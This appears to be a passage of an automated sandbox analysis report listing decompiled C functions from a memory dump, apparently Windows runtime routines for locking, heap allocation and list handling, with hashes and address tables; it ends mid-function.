Opcode ID: bc5148cb7a92fdf7ee648c7d9147dafc75bb9a0bddfe0456ca5c644bf32027d3
Instruction ID: c7790c89724c0033df544b45e43c5cdc5cf3b71bd39116d3b8fd8aae6f5533d8
Opcode Fuzzy Hash: bc5148cb7a92fdf7ee648c7d9147dafc75bb9a0bddfe0456ca5c644bf32027d3
Instruction Fuzzy Hash: 7841F7B17006119BDB29DB29C894B7BB79AEF88724F1446D9F816C7290FB34F801C690

Uniqueness

Uniqueness Score: -1.00%

Function 04B3DBE9, Relevance: .1, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E04B3DBE9(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				signed int _t54;
				char* _t58;
				signed int _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int* _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				char _t82;
				signed int _t83;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr* _t99;
				signed int* _t101;
				signed int* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t118;

				_t92 = __edx;
				_t75 = _a4;
				_t98 = __ecx;
				_v44 = __edx;
				_t106 = _t75[1];
				_v40 = __ecx;
				if(_t106 < 0 || _t106 <= 0 &&  *_t75 < 0) {
					_t82 = 0;
				} else {
					_t82 = 1;
				}
				_v5 = _t82;
				_t6 = _t98 + 0xc8; // 0xc9
				_t101 = _t6;
				 *((intOrPtr*)(_t98 + 0xd4)) = _a12;
				_v16 = _t92 + ((0 | _t82 != 0x00000000) - 0x00000001 & 0x00000048) + 8;
				 *((intOrPtr*)(_t98 + 0xd8)) = _a8;
				if(_t82 != 0) {
					 *(_t98 + 0xde) =  *(_t98 + 0xde) | 0x00000002;
					_t83 =  *_t75;
					_t54 = _t75[1];
					 *_t101 = _t83;
					_t84 = _t83 | _t54;
					_t101[1] = _t54;
					if(_t84 == 0) {
						_t101[1] = _t101[1] & _t84;
						 *_t101 = 1;
					}
					goto L19;
				} else {
					if(_t101 == 0) {
						E04B1CC50(E04B14510(0xc000000d));
						_t88 =  *_t101;
						_t97 = _t101[1];
						L15:
						_v12 = _t88;
						_t66 = _t88 -  *_t75;
						_t89 = _t97;
						asm("sbb ecx, [ebx+0x4]");
						_t118 = _t89 - _t97;
						if(_t118 <= 0 && (_t118 < 0 || _t66 < _v12)) {
							_t66 = _t66 | 0xffffffff;
							_t89 = 0x7fffffff;
						}
						 *_t101 = _t66;
						_t101[1] = _t89;
						L19:
						if(E04B37D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t58 = 0x7ffe0386;
						}
						_t102 = _v16;
						if( *_t58 != 0) {
							_t58 = E04BE8ED6(_t102, _t98);
						}
						_t76 = _v44;
						E04B32280(_t58, _v44);
						E04B3DD82(_v44, _t102, _t98);
						E04B3B944(_t102, _v5);
						return E04B2FFB0(_t76, _t98, _t76);
					}
					_t99 = 0x7ffe03b0;
					do {
						_t103 = 0x7ffe0010;
						do {
							_t67 =  *0x4c08628; // 0x0
							_v28 = _t67;
							_t68 =  *0x4c0862c; // 0x0
							_v32 = _t68;
							_v24 =  *((intOrPtr*)(_t99 + 4));
							_v20 =  *_t99;
							while(1) {
								_t97 =  *0x7ffe000c;
								_t90 =  *0x7FFE0008;
								if(_t97 ==  *_t103) {
									goto L10;
								}
								asm("pause");
							}
							L10:
							_t79 = _v24;
							_t99 = 0x7ffe03b0;
							_v12 =  *0x7ffe03b0;
							_t72 =  *0x7FFE03B4;
							_t103 = 0x7ffe0010;
							_v36 = _t72;
						} while (_v20 != _v12 || _t79 != _t72);
						_t73 =  *0x4c08628; // 0x0
						_t105 = _v28;
						_t80 =  *0x4c0862c; // 0x0
					} while (_t105 != _t73 || _v32 != _t80);
					_t98 = _v40;
					asm("sbb edx, [ebp-0x20]");
					_t88 = _t90 - _v12 - _t105;
					_t75 = _a4;
					asm("sbb edx, eax");
					_t31 = _t98 + 0xc8; // 0x4bdfb53
					_t101 = _t31;
					 *_t101 = _t88;
					_t101[1] = _t97;
					goto L15;
				}
			}

0x04b3dbe9
0x04b3dbf2
0x04b3dbf7
0x04b3dbf9
0x04b3dbfc
0x04b3dc00
0x04b3dc03
0x04b3dc14
0x04b3dd54
0x04b3dd54
0x04b3dd54
0x04b3dc18
0x04b3dc1d
0x04b3dc1d
0x04b3dc32
0x04b3dc3b
0x04b3dc3e
0x04b3dc46
0x04b3dd5b
0x04b3dd62
0x04b3dd64
0x04b3dd67
0x04b3dd69
0x04b3dd6b
0x04b3dd6e
0x04b3dd70
0x04b3dd73
0x04b3dd73
0x00000000
0x04b3dc4c
0x04b3dc4e
0x04b83ae3
0x04b83ae8
0x04b83aea
0x04b3dce7
0x04b3dce9
0x04b3dcec
0x04b3dcee
0x04b3dcf0
0x04b3dcf3
0x04b3dcf5
0x04b83af2
0x04b83af5
0x04b83af5
0x04b3dd06
0x04b3dd08
0x04b3dd0b
0x04b3dd12
0x04b83b08
0x04b3dd18
0x04b3dd18
0x04b3dd18
0x04b3dd20
0x04b3dd23
0x04b83b16
0x04b83b16
0x04b3dd29
0x04b3dd2d
0x04b3dd36
0x04b3dd40
0x04b3dd51
0x04b3dd51
0x04b3dc54
0x04b3dc59
0x04b3dc59
0x04b3dc5e
0x04b3dc5e
0x04b3dc63
0x04b3dc66
0x04b3dc6b
0x04b3dc78
0x04b3dc7b
0x04b3dc81
0x04b3dc81
0x04b3dc83
0x04b3dc89
0x00000000
0x00000000
0x04b3dd7b
0x04b3dd7b
0x04b3dc8f
0x04b3dc8f
0x04b3dc92
0x04b3dc99
0x04b3dc9f
0x04b3dca5
0x04b3dcaa
0x04b3dcaa
0x04b3dcb3
0x04b3dcb8
0x04b3dcbb
0x04b3dcc1
0x04b3dccf
0x04b3dcd2
0x04b3dcd5
0x04b3dcd7
0x04b3dcda
0x04b3dcdc
0x04b3dcdc
0x04b3dce2
0x04b3dce4
0x00000000
0x04b3dce4

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41430df037bfbd521526e8c99266b47fe000aaa8c3b387f6fb36c20b7bd7c86d
Instruction ID: 6de9cfcfcf73bfc202104c22300418acf8cb39050dc0e860b296b9b9a5401185
Opcode Fuzzy Hash: 41430df037bfbd521526e8c99266b47fe000aaa8c3b387f6fb36c20b7bd7c86d
Instruction Fuzzy Hash: 4F51ADB5A00605DFCB14DFA9C480AAEFBF9FB88711F21859AD955A7340EB31BD44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04B2EF40, Relevance: .1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E04B2EF40(intOrPtr __ecx) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t58;
				char _t59;
				signed char _t69;
				void* _t73;
				signed int _t74;
				char _t79;
				signed char _t81;
				signed int _t85;
				signed int _t87;
				intOrPtr _t90;
				signed char* _t91;
				void* _t92;
				signed int _t94;
				void* _t96;

				_t90 = __ecx;
				_v16 = __ecx;
				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
					_t58 =  *((intOrPtr*)(__ecx));
					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
						E04B19080(_t73, __ecx, __ecx, _t92);
					}
				}
				_t74 = 0;
				_t96 =  *0x7ffe036a - 1;
				_v12 = 0;
				_v7 = 0;
				if(_t96 > 0) {
					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
					_v12 = _t74;
					_v7 = _t96 != 0;
				}
				_t79 = 0;
				_v8 = 0;
				_v5 = 0;
				while(1) {
					L4:
					_t59 = 1;
					L5:
					while(1) {
						if(_t59 == 0) {
							L12:
							_t21 = _t90 + 4; // 0x770bc21e
							_t87 =  *_t21;
							_v6 = 0;
							if(_t79 != 0) {
								if((_t87 & 0x00000002) != 0) {
									goto L19;
								}
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000003;
								} else {
									_t51 = _t87 - 2; // -2
									_t74 = _t51;
								}
								goto L15;
							} else {
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000001;
								} else {
									_t26 = _t87 - 4; // -4
									_t74 = _t26;
									if((_t74 & 0x00000002) == 0) {
										_t74 = _t74 - 2;
									}
								}
								L15:
								if(_t74 == _t87) {
									L19:
									E04B12D8A(_t74, _t90, _t87, _t90);
									_t74 = _v12;
									_v8 = 1;
									if(_v7 != 0 && _t74 > 0x64) {
										_t74 = _t74 - 1;
										_v12 = _t74;
									}
									_t79 = _v5;
									goto L4;
								}
								asm("lock cmpxchg [esi], ecx");
								if(_t87 != _t87) {
									_t74 = _v12;
									_t59 = 0;
									_t79 = _v5;
									continue;
								}
								if(_v6 != 0) {
									_t74 = _v12;
									L25:
									if(_v7 != 0) {
										if(_t74 < 0x7d0) {
											if(_v8 == 0) {
												_t74 = _t74 + 1;
											}
										}
										_t38 = _t90 + 0x14; // 0x0
										_t39 = _t90 + 0x14; // 0x0
										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
											_t85 = _t85 & 0xff000000;
										}
										 *(_t90 + 0x14) = _t85;
									}
									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									 *((intOrPtr*)(_t90 + 8)) = 1;
									return 0;
								}
								_v5 = 1;
								_t87 = _t74;
								goto L19;
							}
						}
						_t94 = _t74;
						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
						if(_t74 == 0) {
							goto L12;
						} else {
							_t91 = _t90 + 4;
							goto L8;
							L9:
							while((_t81 & 0x00000001) != 0) {
								_t69 = _t81;
								asm("lock cmpxchg [edi], edx");
								if(_t69 != _t81) {
									_t81 = _t69;
									continue;
								}
								_t90 = _v16;
								goto L25;
							}
							asm("pause");
							_t94 = _t94 - 1;
							if(_t94 != 0) {
								L8:
								_t81 =  *_t91;
								goto L9;
							} else {
								_t90 = _v16;
								_t79 = _v5;
								goto L12;
							}
						}
					}
				}
			}

0x04b2ef4b
0x04b2ef4d
0x04b2ef57
0x04b2f0bd
0x04b2f0c2
0x04b2f0d2
0x04b2f0d2
0x04b2f0c2
0x04b2ef5d
0x04b2ef5f
0x04b2ef67
0x04b2ef6a
0x04b2ef6d
0x04b2ef74
0x04b2ef7f
0x04b2ef82
0x04b2ef82
0x04b2ef86
0x04b2ef88
0x04b2ef8c
0x04b2ef8f
0x04b2ef8f
0x04b2ef8f
0x00000000
0x04b2ef91
0x04b2ef93
0x04b2efc4
0x04b2efc4
0x04b2efc4
0x04b2efca
0x04b2efd0
0x04b2f0a6
0x00000000
0x00000000
0x04b2f0af
0x04b7bb06
0x04b7bb0a
0x04b2f0b5
0x04b2f0b5
0x04b2f0b5
0x04b2f0b5
0x00000000
0x04b2efd6
0x04b2efd9
0x04b2f0de
0x04b2f0e2
0x04b2efdf
0x04b2efdf
0x04b2efdf
0x04b2efe5
0x04b7bafc
0x04b7bafc
0x04b2efe5
0x04b2efeb
0x04b2efed
0x04b2f00f
0x04b2f011
0x04b2f01a
0x04b2f01d
0x04b2f021
0x04b2f028
0x04b2f029
0x04b2f029
0x04b2f02c
0x00000000
0x04b2f02c
0x04b2eff3
0x04b2eff9
0x04b2f0ea
0x04b2f0ed
0x04b2f0ef
0x00000000
0x04b2f0ef
0x04b2f003
0x04b7bb12
0x04b2f045
0x04b2f049
0x04b2f051
0x04b2f09e
0x04b2f0a0
0x04b2f0a0
0x04b2f09e
0x04b2f053
0x04b2f064
0x04b2f064
0x04b2f06b
0x04b7bb1a
0x04b7bb1a
0x04b2f071
0x04b2f071
0x04b2f07d
0x04b2f082
0x04b2f08f
0x04b2f08f
0x04b2f009
0x04b2f00d
0x00000000
0x04b2f00d
0x04b2efd0
0x04b2ef97
0x04b2efa5
0x04b2efaa
0x00000000
0x04b2efac
0x04b2efac
0x04b2efac
0x00000000
0x04b2efb2
0x04b2f036
0x04b2f03a
0x04b2f040
0x04b2f090
0x00000000
0x04b2f092
0x04b2f042
0x00000000
0x04b2f042
0x04b2efb7
0x04b2efb9
0x04b2efbc
0x04b2efb0
0x04b2efb0
0x00000000
0x04b2efbe
0x04b2efbe
0x04b2efc1
0x00000000
0x04b2efc1
0x04b2efbc
0x04b2efaa
0x04b2ef91

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: 480674c35d7336f50e65aab04f8d929f42399b385a04b0784a74e84feeaae6e7
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: FC51F030E04269DFEB24CF69C2907AEBBB1FF05314F1881E8C95997281D375B989E751

Uniqueness

Uniqueness Score: -1.00%

Function 04BE740D, Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E04BE740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E04B6D4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E04B5F380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L04B34620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L04B34620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E04B5F3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L04B34620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x04be740d
0x04be740d
0x04be7412
0x04be7413
0x04be7416
0x04be7418
0x04be741c
0x04be741f
0x04be7422
0x04be7422
0x04be7428
0x04be742a
0x04be742a
0x04be7451
0x04be7432
0x04be744f
0x04be744f
0x00000000
0x04be7434
0x04be7438
0x04be7443
0x04be7517
0x04be7517
0x04be751a
0x04be7535
0x04be7520
0x04be7527
0x04be752c
0x04be7531
0x04be7533
0x00000000
0x04be7533
0x00000000
0x04be7531
0x04be754b
0x04be754f
0x04be755c
0x04be755c
0x04be755f
0x04be7560
0x04be7561
0x04be7562
0x04be7563
0x04be7568
0x04be756a
0x04be756c
0x04be756d
0x04be756d
0x04be756f
0x04be7572
0x04be7574
0x04be7577
0x04be757c
0x04be757f
0x00000000
0x04be7551
0x04be7551
0x04be7551
0x04be7553
0x04be7553
0x04be7449
0x04be7449
0x04be744c
0x04be744c
0x00000000
0x04be744c
0x04be7443
0x04be750e
0x04be7514
0x04be7514
0x04be7455
0x04be7469
0x04be746d
0x00000000
0x04be7473
0x04be7473
0x04be7476
0x04be7480
0x04be7484
0x04be748e
0x04be7493
0x04be7493
0x04be7496
0x04be7499
0x04be74a1
0x04be74b1
0x04be74b5
0x00000000
0x04be74bb
0x04be74c1
0x04be74c1
0x04be74c4
0x04be74c5
0x04be74c6
0x04be74c7
0x04be74c8
0x04be74cd
0x00000000
0x04be74d3
0x04be74d3
0x04be74d6
0x04be74d8
0x04be74db
0x04be74dd
0x04be74e0
0x04be74e7
0x04be74ee
0x04be74ee
0x04be74f4
0x04be74f9
0x00000000
0x04be74fb
0x04be74fb
0x04be74fd
0x04be7500
0x04be7503
0x04be7505
0x04be7505
0x04be74f9
0x00000000
0x04be74cd
0x04be74b5
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: 56ee09f8c03b04ef183fa26ffb56764e1904ea2fc7f47969276794209bfc2f6f
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: F4516971600606EFDB15CF55C880AA6BBF5FF85305F1581EAE9089F222E771E946CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04B42990, Relevance: .1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E04B42990() {
				signed int* _t62;
				signed int _t64;
				intOrPtr _t66;
				signed short* _t69;
				intOrPtr _t76;
				signed short* _t79;
				void* _t81;
				signed int _t82;
				signed short* _t83;
				signed int _t87;
				intOrPtr _t91;
				void* _t98;
				signed int _t99;
				void* _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;
				void* _t107;

				_push(0x20);
				_push(0x4beff00);
				E04B6D08C(_t81, _t98, _t101);
				 *((intOrPtr*)(_t103 - 0x28)) =  *[fs:0x18];
				_t99 = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x1c)))) = 0;
				_t82 =  *((intOrPtr*)(_t103 + 0x10));
				if(_t82 == 0) {
					_t62 = 0xc0000100;
				} else {
					 *((intOrPtr*)(_t103 - 4)) = 0;
					_t102 = 0xc0000100;
					 *((intOrPtr*)(_t103 - 0x30)) = 0xc0000100;
					_t64 = 4;
					while(1) {
						 *(_t103 - 0x24) = _t64;
						if(_t64 == 0) {
							break;
						}
						_t87 = _t64 * 0xc;
						 *(_t103 - 0x2c) = _t87;
						_t107 = _t82 -  *((intOrPtr*)(_t87 + 0x4af1664));
						if(_t107 <= 0) {
							if(_t107 == 0) {
								_t79 = E04B5E5C0( *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t87 + 0x4af1668)), _t82);
								_t104 = _t104 + 0xc;
								__eflags = _t79;
								if(__eflags == 0) {
									_t102 = E04B951BE(_t82,  *((intOrPtr*)( *(_t103 - 0x2c) + 0x4af166c)),  *((intOrPtr*)(_t103 + 0x14)), _t99, _t102, __eflags,  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
									 *((intOrPtr*)(_t103 - 0x30)) = _t102;
									break;
								} else {
									_t64 =  *(_t103 - 0x24);
									goto L5;
								}
								goto L13;
							} else {
								L5:
								_t64 = _t64 - 1;
								continue;
							}
						}
						break;
					}
					 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
					__eflags = _t102;
					if(_t102 < 0) {
						__eflags = _t102 - 0xc0000100;
						if(_t102 == 0xc0000100) {
							_t83 =  *((intOrPtr*)(_t103 + 8));
							__eflags = _t83;
							if(_t83 != 0) {
								 *((intOrPtr*)(_t103 - 0x20)) = _t83;
								__eflags =  *_t83 - _t99;
								if( *_t83 == _t99) {
									_t102 = 0xc0000100;
									goto L19;
								} else {
									_t91 =  *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30));
									_t66 =  *((intOrPtr*)(_t91 + 0x10));
									__eflags =  *((intOrPtr*)(_t66 + 0x48)) - _t83;
									if( *((intOrPtr*)(_t66 + 0x48)) == _t83) {
										__eflags =  *((intOrPtr*)(_t91 + 0x1c));
										if( *((intOrPtr*)(_t91 + 0x1c)) == 0) {
											L26:
											_t102 = E04B42AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
											 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
											__eflags = _t102 - 0xc0000100;
											if(_t102 != 0xc0000100) {
												goto L12;
											} else {
												_t99 = 1;
												_t83 =  *((intOrPtr*)(_t103 - 0x20));
												goto L18;
											}
										} else {
											_t69 = E04B26600( *((intOrPtr*)(_t91 + 0x1c)));
											__eflags = _t69;
											if(_t69 != 0) {
												goto L26;
											} else {
												_t83 =  *((intOrPtr*)(_t103 + 8));
												goto L18;
											}
										}
									} else {
										L18:
										_t102 = E04B42C50(_t83,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)), _t99);
										L19:
										 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
										goto L12;
									}
								}
								L28:
							} else {
								E04B2EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
								 *((intOrPtr*)(_t103 - 4)) = 1;
								 *((intOrPtr*)(_t103 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30)) + 0x10)) + 0x48));
								_t102 =  *((intOrPtr*)(_t103 + 0x1c));
								_t76 = E04B42AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102);
								 *((intOrPtr*)(_t103 - 0x1c)) = _t76;
								__eflags = _t76 - 0xc0000100;
								if(_t76 == 0xc0000100) {
									 *((intOrPtr*)(_t103 - 0x1c)) = E04B42C50( *((intOrPtr*)(_t103 - 0x20)),  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102, 1);
								}
								 *((intOrPtr*)(_t103 - 4)) = _t99;
								E04B42ACB();
							}
						}
					}
					L12:
					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
					_t62 = _t102;
				}
				L13:
				return E04B6D0D1(_t62);
				goto L28;
			}

0x04b42990
0x04b42992
0x04b42997
0x04b429a3
0x04b429a6
0x04b429ab
0x04b429ad
0x04b429b2
0x04b85c80
0x04b429b8
0x04b429b8
0x04b429bb
0x04b429c0
0x04b429c5
0x04b429c6
0x04b429c6
0x04b429cb
0x00000000
0x00000000
0x04b429cd
0x04b429d0
0x04b429d9
0x04b429db
0x04b429dd
0x04b42a7f
0x04b42a84
0x04b42a87
0x04b42a89
0x04b85ca1
0x04b85ca3
0x00000000
0x04b42a8f
0x04b42a8f
0x00000000
0x04b42a8f
0x00000000
0x04b429e3
0x04b429e3
0x04b429e3
0x00000000
0x04b429e3
0x04b429dd
0x00000000
0x04b429db
0x04b429e6
0x04b429e9
0x04b429eb
0x04b429ed
0x04b429f3
0x04b429f5
0x04b429f8
0x04b429fa
0x04b42a97
0x04b42a9a
0x04b42a9d
0x04b42add
0x00000000
0x04b42a9f
0x04b42aa2
0x04b42aa5
0x04b42aa8
0x04b42aab
0x04b85cab
0x04b85caf
0x04b85cc5
0x04b85cda
0x04b85cdc
0x04b85cdf
0x04b85ce5
0x00000000
0x04b85ceb
0x04b85ced
0x04b85cee
0x00000000
0x04b85cee
0x04b85cb1
0x04b85cb4
0x04b85cb9
0x04b85cbb
0x00000000
0x04b85cbd
0x04b85cbd
0x00000000
0x04b85cbd
0x04b85cbb
0x04b42ab1
0x04b42ab1
0x04b42ac4
0x04b42ac6
0x04b42ac6
0x00000000
0x04b42ac6
0x04b42aab
0x00000000
0x04b42a00
0x04b42a09
0x04b42a0e
0x04b42a21
0x04b42a24
0x04b42a35
0x04b42a3a
0x04b42a3d
0x04b42a42
0x04b42a59
0x04b42a59
0x04b42a5c
0x04b42a5f
0x04b42a5f
0x04b429fa
0x04b429f3
0x04b42a64
0x04b42a64
0x04b42a6b
0x04b42a6b
0x04b42a6d
0x04b42a72
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b55b6a0dd4dc0e254e52ac6bcce46552919a9798fe5a08a28e89ee0e30a71c1
Instruction ID: c84852a93d1a3f538e310029a4a92b0f99d4e78bb76e52b57d71b9d76bdcf928
Opcode Fuzzy Hash: 8b55b6a0dd4dc0e254e52ac6bcce46552919a9798fe5a08a28e89ee0e30a71c1
Instruction Fuzzy Hash: 59513771A00219EFDF29DF95C840ADEBBB5FB98354F0480D5F815AB2A0D335A952EF90

Uniqueness

Uniqueness Score: -1.00%

Function 04B44D3B, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E04B44D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				char _v176;
				char _v177;
				char _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t42;
				char* _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				char* _t57;
				intOrPtr _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x4c0d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				E04B5FA60( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x4c07bc8 != 0) {
					L3:
